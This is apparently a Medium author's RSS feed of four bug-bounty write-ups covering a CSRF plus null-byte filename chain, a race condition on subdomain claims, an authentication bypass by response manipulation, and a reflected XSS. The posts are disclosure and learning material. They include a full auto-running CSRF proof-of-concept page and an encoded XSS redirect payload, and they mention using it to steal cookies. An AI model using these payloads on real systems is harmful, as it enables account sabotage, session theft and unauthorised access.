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        <title><![CDATA[Stories by 0_oNoProblem on Medium]]></title>
        <description><![CDATA[Stories by 0_oNoProblem on Medium]]></description>
        <link>https://medium.com/@0onoproblem?source=rss-1b38edb4439a------2</link>
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            <title>Stories by 0_oNoProblem on Medium</title>
            <link>https://medium.com/@0onoproblem?source=rss-1b38edb4439a------2</link>
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        <lastBuildDate>Tue, 17 Nov 2026 22:57:25 GMT</lastBuildDate>
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            <title><![CDATA[The Little CV + CSRF That Broke an Account]]></title>
            <link>https://0onoproblem.medium.com/the-little-cv-csrf-that-broke-an-account-3c0abbc08597?source=rss-1b38edb4439a------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c0abbc08597</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[0_oNoProblem]]></dc:creator>
            <pubDate>Mon, 01 Sep 2025 10:46:42 GMT</pubDate>
            <atom:updated>2025-09-13T04:06:52.574Z</atom:updated>
            <content:encoded><![CDATA[<p>السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ. اللَّهُمَّ صَلِّ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا صَلَّيْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ، وَبَارِكْ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا بَارَكْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ</p><p>‎‎<br>Hi Folks, I’m Ahmed Ehab, or as you might know me Nopr or NoProblem.<br>Starting out By a shoutout to the best collaborator you could ever need Mohamed Kamal.</p><p>Back with a new write-up after stopping for a while.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JLFCXQC13JPBveaSdvXgcg.png" /></figure><p>I was poking around a familiar corner of the app the CV upload page mostly out of habit and boredom. It was the kind of bug you expect to find: a classic CSRF that let me submit a CV on behalf of an authenticated user if they visited a malicious page. “Low impact,” I told myself; another checkbox on the checklist.</p><p>I crafted a test PDF, uploaded it, and moved on. But curiosity is a stubborn companion, and I decided to try a tiny twist: what happens if the filename contains something odd? I renamed the file to include a null byte and replayed the upload.</p><p>At first nothing dramatic happened the CV appeared in the user’s profile like any other. Then I tried deleting it.</p><p>The delete button smiled back but did nothing. Click, wait, refresh. The CV persisted. I tried the API. I tried a fresh session. The file was… stubborn. More than stubborn: it was undeletable.</p><p>The PoC Html was like:</p><pre>&lt;!doctype html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>&lt;meta charset=&quot;utf-8&quot;/&gt;<br>&lt;title&gt;Auto-run CSRF PoC - CV Upload (with filename injection)&lt;/title&gt;<br>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width,initial-scale=1&quot; /&gt;<br>&lt;style&gt;<br>  body{font-family:system-ui,-apple-system,&quot;Segoe UI&quot;,Roboto,sans-serif;padding:20px;background:#f6f8fb}<br>  .box{max-width:900px;margin:22px auto;padding:18px;background:#fff;border-radius:8px;box-shadow:0 6px 22px rgba(0,0,0,0.06)}<br>  pre{background:#f3f4f6;padding:10px;border-radius:6px;overflow:auto}<br>  #status{margin-top:10px;color:#1b3a57}<br>&lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>  &lt;div class=&quot;box&quot;&gt;<br>    &lt;h2&gt;Auto-run PoC - CV Upload (filename injection)&lt;/h2&gt;<br>    &lt;p&gt;Tries to upload a PDF as &lt;code&gt;john-wick-Fake-Resume%00.pdf&lt;/code&gt; to:&lt;/p&gt;<br>    &lt;pre id=&quot;target&quot;&gt;https://www.redacted.tld/customer/Profile/UploadFile/?type=0&lt;/pre&gt;<br>    &lt;div id=&quot;status&quot;&gt;Status: idle&lt;/div&gt;<br>    &lt;h4&gt;Debug&lt;/h4&gt;<br>    &lt;pre id=&quot;debug&quot; style=&quot;height:220px;overflow:auto;&quot;&gt;&lt;/pre&gt;<br>  &lt;/div&gt;<br><br>  &lt;form id=&quot;pocForm&quot; action=&quot;https://www.redacted.tld/en/customer/Profile/UploadFile/?type=0&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot; style=&quot;display:none&quot;&gt;<br>    &lt;input id=&quot;fileInput&quot; name=&quot;files[]&quot; type=&quot;file&quot; accept=&quot;application/pdf&quot; /&gt;<br>  &lt;/form&gt;<br><br>&lt;script&gt;<br>(async function(){<br>  const desiredFilename = &#39;john-wick-Fake-Resume%00.pdf&#39;; // literal %00 chars<br>  const localFilename = &#39;john-wick-Fake-Resume.pdf&#39;;      // file you host next to this PoC<br>  const targetUrl = &#39;https://www.redacted.tld/en/customer/Profile/UploadFile/?type=0&#39;;<br>  document.getElementById(&#39;target&#39;).textContent = targetUrl;<br>  const statusEl = document.getElementById(&#39;status&#39;);<br>  const debugEl  = document.getElementById(&#39;debug&#39;);<br>  const fileInput = document.getElementById(&#39;fileInput&#39;);<br>  const form = document.getElementById(&#39;pocForm&#39;);<br><br>  function log(msg){<br>    const t = new Date().toISOString();<br>    statusEl.textContent = &#39;Status: &#39; + msg;<br>    debugEl.textContent += &#39;[&#39;+t+&#39;] &#39;+ msg + &#39;\n&#39;;<br>    console.debug(msg);<br>  }<br><br>  function tryAssignFiles(input, dt){<br>    try {<br>      input.files = dt.files;<br>      return input.files &amp;&amp; input.files.length &gt; 0;<br>    } catch(e){ return false; }<br>  }<br><br>  // Build and send raw multipart body with given filename in the header<br>  async function postRawMultipart(blob, filename){<br>    const boundary = &#39;----WebKitFormBoundary&#39; + Math.random().toString(36).slice(2,10);<br>    const CRLF = &#39;\r\n&#39;;<br>    const pre  = `--${boundary}${CRLF}` +<br>                 `Content-Disposition: form-data; name=&quot;files[]&quot;; filename=&quot;${filename}&quot;${CRLF}` +<br>                 `Content-Type: application/pdf${CRLF}${CRLF}`;<br>    const post = CRLF + `--${boundary}--${CRLF}`;<br><br>    const bodyBlob = new Blob([pre, blob, post]);<br><br>    log(&#39;Attempting raw multipart POST (may trigger CORS preflight)...&#39;);<br><br>    try {<br>      const resp = await fetch(targetUrl, {<br>        method: &#39;POST&#39;,<br>        headers: {<br>          // We set Content-Type manually so the server receives our boundary and filename exactly.<br>          &#39;Content-Type&#39;: &#39;multipart/form-data; boundary=&#39; + boundary<br>        },<br>        body: bodyBlob,<br>        credentials: &#39;include&#39; // send cookies for CSRF<br>      });<br>      log(&#39;raw POST response: &#39; + resp.status + &#39; &#39; + resp.statusText);<br>      const text = await resp.text().catch(()=&gt;&#39;&lt;no-body&gt;&#39;);<br>      debugEl.textContent += &#39;\n[raw response body]\n&#39; + (text.slice(0,2000)) + &#39;\n&#39;;<br>    } catch (err){<br>      log(&#39;raw POST error (likely CORS/preflight): &#39; + err);<br>      debugEl.textContent += &#39;raw POST exception: &#39; + err + &#39;\n&#39;;<br>    }<br>  }<br><br>  async function run(){<br>    log(&#39;Starting… fetching ./&#39; + localFilename);<br>    try {<br>      const resp = await fetch(&#39;./&#39; + localFilename, { cache: &#39;no-store&#39; });<br>      if(!resp.ok) throw new Error(&#39;Fetch failed: &#39; + resp.status + &#39; &#39; + resp.statusText);<br>      const blob = await resp.blob();<br>      log(&#39;Fetched file: &#39; + (blob.type || &#39;application/pdf&#39;) + &#39;, &#39; + blob.size + &#39; bytes&#39;);<br><br>      // First method: create a File with desiredFilename and attempt DataTransfer assign-&gt;form.submit()<br>      try {<br>        const file = new File([blob], desiredFilename, { type: blob.type || &#39;application/pdf&#39; });<br>        let dt;<br>        try { dt = new DataTransfer(); }<br>        catch(e){ try { dt = new ClipboardEvent(&#39;&#39;).clipboardData; } catch(e2){ dt = null; } }<br>        if(dt){<br>          dt.items.add(file);<br>          let assigned = tryAssignFiles(fileInput, dt);<br>          if(!assigned){<br>            await new Promise(r=&gt;setTimeout(r,120));<br>            assigned = tryAssignFiles(fileInput, dt);<br>          }<br>          if(assigned){<br>            log(&#39;Assigned file to input.files with name: &#39; + file.name + &#39; - submitting form()&#39;);<br>            setTimeout(()=&gt;{ <br>              try { form.submit(); log(&#39;form.submit() invoked - check proxy for POST.&#39;); }<br>              catch(e){ log(&#39;form.submit() error: &#39; + e); }<br>            }, 250);<br>            return;<br>          } else {<br>            log(&#39;Could not assign file input programmatically (browser blocked). Will try raw multipart POST next.&#39;);<br>          }<br>        } else {<br>          log(&#39;DataTransfer unavailable; will try raw multipart POST.&#39;);<br>        }<br>      } catch(e){<br>        log(&#39;File/DataTransfer path failed: &#39; + e);<br>      }<br><br>      // Fallback method: craft raw multipart body with filename header set explicitly<br>      await postRawMultipart(blob, desiredFilename);<br><br>      log(&#39;Done - if CORS blocked the raw POST, consider hosting the PoC on the same origin as the target or reproduce manual upload to show impact.&#39;);<br>    } catch(err){<br>      log(&#39;Error: &#39; + err + &#39; - ensure this file sits next to the PoC and you are serving the folder.&#39;);<br>      fileInput.style.display=&#39;block&#39;;<br>      fileInput.click();<br>    }<br>  }<br><br>  window.addEventListener(&#39;load&#39;, ()=&gt; setTimeout(run, 300));<br>})();<br>&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>I shrugged. Strange backend behavior happens. Then I applied for a job using that exact CV because if you’re going to find edge-case bugs, you follow them until they tell you secrets. The job application choked. The form errored out, threw a silent exception, and refused to proceed. Attempts to replace or reattach a different CV produced the same stuck state. What was a single odd file had become a roadblock: an authenticated user could no longer complete the application process.</p><p>Putting it together felt obvious in retrospect and worrying in practice. The CSRF gave an attacker the means to plant that problematic CV in another user’s account without consent. The null-byte filename turned that file into a persistent nuisance the user couldn’t remove. Chained, those two simple problems amounted to a persistent, account-level denial of service for a core feature and it happened with a single, silent click from the victim.</p><h3>Why it matters</h3><p>A trivial CSRF + a filename-handling bug = a permanent, user-facing break in the job-application flow.</p><h3>Closing note</h3><p>Don’t stop testing after you first finding just try different new ideas to escalate it. Bugs like this are never glamorous they hide in filename parsing and cookie flags rather than flashing lights but they hit people where it matters.</p><h3>Result</h3><p>Sadly it was P3 first but then downgraded to P4 but we made a blocker hopefully we get to P3 again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*lvP4zkENtShOYnB3Jp8hsQ.png" /></figure><h3>Edit:</h3><p>GG it got escalated to p3 again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BxMtYMNC6MmjysGr18CIgg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c0abbc08597" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[How I Exploited a Hidden Race Condition to Bypass Licensing and Claim All Subdomains on the target]]></title>
            <link>https://0onoproblem.medium.com/how-i-exploited-a-hidden-race-condition-to-bypass-licensing-and-claim-all-subdomains-on-the-target-64944b148f49?source=rss-1b38edb4439a------2</link>
            <guid isPermaLink="false">https://medium.com/p/64944b148f49</guid>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[0_oNoProblem]]></dc:creator>
            <pubDate>Tue, 25 Feb 2025 18:24:08 GMT</pubDate>
            <atom:updated>2025-02-25T18:24:08.868Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ</strong></h3><p>Hi and welcome back to another report! My name is Ahmed Ehab though in the bug bounty community, They call me Nopr. Today, I’m excited to share a detailed case study of a race condition bug I discovered on a platform we’ll call <strong>example.com</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7iiQUm_h9A0oPujo" /></figure><h4><strong>Lets breifly explain what is a race condition before starting.</strong></h4><p>A race condition occurs when the outcome of a process depends on the timing or sequence of events, typically due to multiple concurrent operations executing without proper synchronization. In web applications, this lack of coordination can allow an attacker to bypass intended restrictions like rate limits or resource allocation by triggering the vulnerable function repeatedly before the system can update its state</p><h4><strong>Now lets get STARTED.</strong></h4><p>The Scenario In our case, <strong>example.com</strong> has a function to register a subdomain for a project a key part of their licensing and deployment system. Initially, I tested the function that registers the subdomain for my project. Surprisingly, that function did not exhibit any race condition vulnerability.</p><p>Not one to give up easily, I dove deeper into the application. I recalled that there was another page accessible right after logging in that asked if I wanted to claim a domain. Curiosity got the better of me, so I decided to test that page manually. And boom it worked!</p><p><strong>Here’s a brief rundown of what happened:</strong></p><ol><li><strong>Initial Testing:</strong><br>I started with the obvious function for subdomain registration, but it turned out to be secure.</li><li><strong>Deeper Dive:</strong><br>I then explored another registration page that appeared right after login. This page directly asked if I wanted to claim a domain for my project.</li><li><strong>Approach:</strong><br>I captured the final HTTP request from this page before it was sent. Instead of sending it immediately (which would register a subdomain), I dropped the request, then modified it with different subdomain names. I used a tool to send multiple modified requests concurrently a classic single-packet attack to trigger a race condition.</li><li><strong>Result:</strong><br>Sadly It was a non-deterministic race condition (not every concurrent request succeeded), with enough attempts, I was able to bypass the intended limitation. Eventually, I managed to reserve more subdomains than allowed.</li><li><strong>Bypass:</strong><br>But I won’t stop here I tried multiple things and one of them worked to bypass that limitation you can simple send each request multiple times so the chances is higher to take that subdomain.</li></ol><h3>Key Takeaways for Fellow Bug Hunters</h3><ul><li><strong>Don’t Settle for the Obvious:</strong><br>If the primary function seems secure, look for alternative or hidden functions that serve the same purpose. Developers sometimes overlook these less prominent pathways.</li><li><strong>Manual Testing is Crucial:</strong><br>Automated tools are invaluable, but nothing beats a good manual exploration combined with fuzzing techniques. Capture, modify, and experiment with HTTP requests to uncover hidden vulnerabilities.</li><li><strong>Share and Learn:</strong><br>Every bug, whether it’s triaged or fully rewarded, is an opportunity to learn. Document your process, share your findings, and help improve the overall security landscape.</li></ul><h3>Final Thoughts</h3><p>Sadly my report got duplicated:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/183/1*HZwLWWk-15Hnc5seaLQ2cw.png" /></figure><p>but still It was a good learning opportunity Alhamdulillah and in sha allah I will keep going. Happy hunting and remember, every bug is a lesson.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64944b148f49" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[Unauthorized Access to Internal Panel via Response Manipulation]]></title>
            <link>https://0onoproblem.medium.com/unauthorized-access-to-internal-panel-via-response-manipulation-0b6baaae9346?source=rss-1b38edb4439a------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b6baaae9346</guid>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[info-sec-writeups]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[0_oNoProblem]]></dc:creator>
            <pubDate>Wed, 19 Feb 2025 04:35:10 GMT</pubDate>
            <atom:updated>2025-02-19T04:35:10.435Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8KH2BgJTMzs1pCR5INQlXQ.jpeg" /></figure><p>Hi everyone,<br>I’m Ahmed Ehab, but many in the security community know me as Nopr. Today, I’d like to share an interesting bug I discovered during testing a bug bounty program. While I’m using example.com as a placeholder to protect sensitive details, the underlying issue offers valuable insights for fellow bug hunters.</p><p><strong>Overview of the Bug</strong></p><p>While I was hunting with my friend soliman we found an internal login panel that, despite having no registration function, allowed a user to bypass authentication in an unexpected way. Under normal circumstances, when invalid credentials are submitted, the server responds with a 401 Unauthorized status, denying access. However, I discovered that by intercepting the response and changing the status code from 401 to 200 OK, I could trick the client into accepting the login as successful.</p><p><strong>What’s Happening Here?</strong></p><p>This is a classic case of response manipulation. Typically, a 401 status code signals that the authentication has failed, and the client-side logic should treat this as a denial of access. By modifying the response, I bypassed this check. The client, seeing a 200 OK, assumed that the authentication was successful — even though the server originally intended to reject the credentials.</p><p>For those unfamiliar with the term, <strong>response manipulation</strong> refers to intercepting and altering the data that flows between the client and the server. Tools like Burp Suite or similar proxies allow us to modify requests or responses in real-time, revealing potential security oversights in how applications handle authentication and session management.</p><p><strong>Steps to Reproduce:</strong></p><ol><li>Navigate to: <a href="https://example.com/">https://example.com</a></li><li>Enter any random username and password into the login form.</li><li>Intercept the login request using your preferred proxy tool.</li><li>Notice that the server responds with a 401 Unauthorized status.</li><li>Change the response status from 401 to 200 OK and forward the modified response.</li><li>Observe that the application treats you as logged in, bypassing the intended authentication mechanism.</li></ol><p><strong>Key Takeaways for Bug Hunters</strong></p><ul><li><strong>Server-Side Validation is Crucial:</strong> Never rely solely on client-side checks or response codes for authentication. Always ensure that critical validations occur on the server side.</li><li><strong>Understand Your Tools:</strong> Familiarize yourself with features like Match and Replace Rules in your proxy tools. These can be powerful for both testing and demonstrating vulnerabilities.</li></ul><p>This vulnerability serves as a reminder that every layer of an application must be robust against tampering. By understanding techniques like response manipulation, we can better identify and mitigate such risks, ultimately making our digital environments safer.</p><p>Sadly It was duplicated:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/196/1*PL4bFhnQLggKA3pMa8-LEw.png" /></figure><p>Thanks for reading, and I hope this write-up provides useful insights for your own security research. If you have any questions or thoughts, feel free to reach out!</p><p>Stay safe and keep hunting,<br>Ahmed Ehab (Nopr)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b6baaae9346" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[Reflected XSS Leading to Account Takeover]]></title>
            <link>https://0onoproblem.medium.com/reflected-xss-leading-to-account-takeover-bea862cba885?source=rss-1b38edb4439a------2</link>
            <guid isPermaLink="false">https://medium.com/p/bea862cba885</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[0_oNoProblem]]></dc:creator>
            <pubDate>Mon, 20 May 2024 15:04:19 GMT</pubDate>
            <atom:updated>2024-05-20T15:04:19.962Z</atom:updated>
            <content:encoded><![CDATA[<h4>Hello everyone,</h4><p>I’m 0_oNoProblem (pronounced “Zero o NoProblem”, you can call me No or Nopr). I recently discovered my first bug, a reflected Cross-Site Scripting (XSS) vulnerability. I’m excited to share my experience with the community as a beginner in security research.</p><figure><img alt="YEAH!!!!!" src="https://cdn-images-1.medium.com/max/220/1*WfHaIcgHxYWb2koDssPPEg.gif" /></figure><p>I will refer to the web app as example.com since it isn’t fixed yet.</p><p>Steps to Reproduce:Navigate to the search page: <a href="https://www.example.com/search/?query=">https://www.example.com/search/?query=</a></p><blockquote>In the query parameter, insert this JavaScript payload:</blockquote><blockquote>(%5B%5D%2B%5B%5D)%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D()%5B%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D&lt;script&gt;location.href=String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 103, 111, 111, 103, 108, 101, 46, 99, 111, 109)&lt;/script&gt;</blockquote><p>This payload redirect the user to google.com the attacker can change it to his site.</p><p>To craft this payload, I used JSFuck <a href="https://jsfuck.com/">https://jsfuck.com/</a> to encode a double quotation mark and then URL-encoded it.</p><p>I verified the XSS vulnerability by using an alert payload. To escalate the issue, I created a payload that redirects the user to an attacker-controlled page to steal cookies. This can lead to an Account Takeover (ATO) by capturing the user session.</p><p>I understand this might be considered a low-hanging fruit, but as someone who just started, finding and reporting this vulnerability was a significant milestone for me. I’m thrilled to have identified my first bug and hope to continue learning and growing in the field of security research. little fact i got duplicated but still happy finding it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*A4DRi1WIPI7A59A1v5ecCQ.gif" /></figure><p>Thank you for taking the time to read my write-up!</p><p>Best regards, 0_oNoProblem</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bea862cba885" width="1" height="1" alt="">]]></content:encoded>
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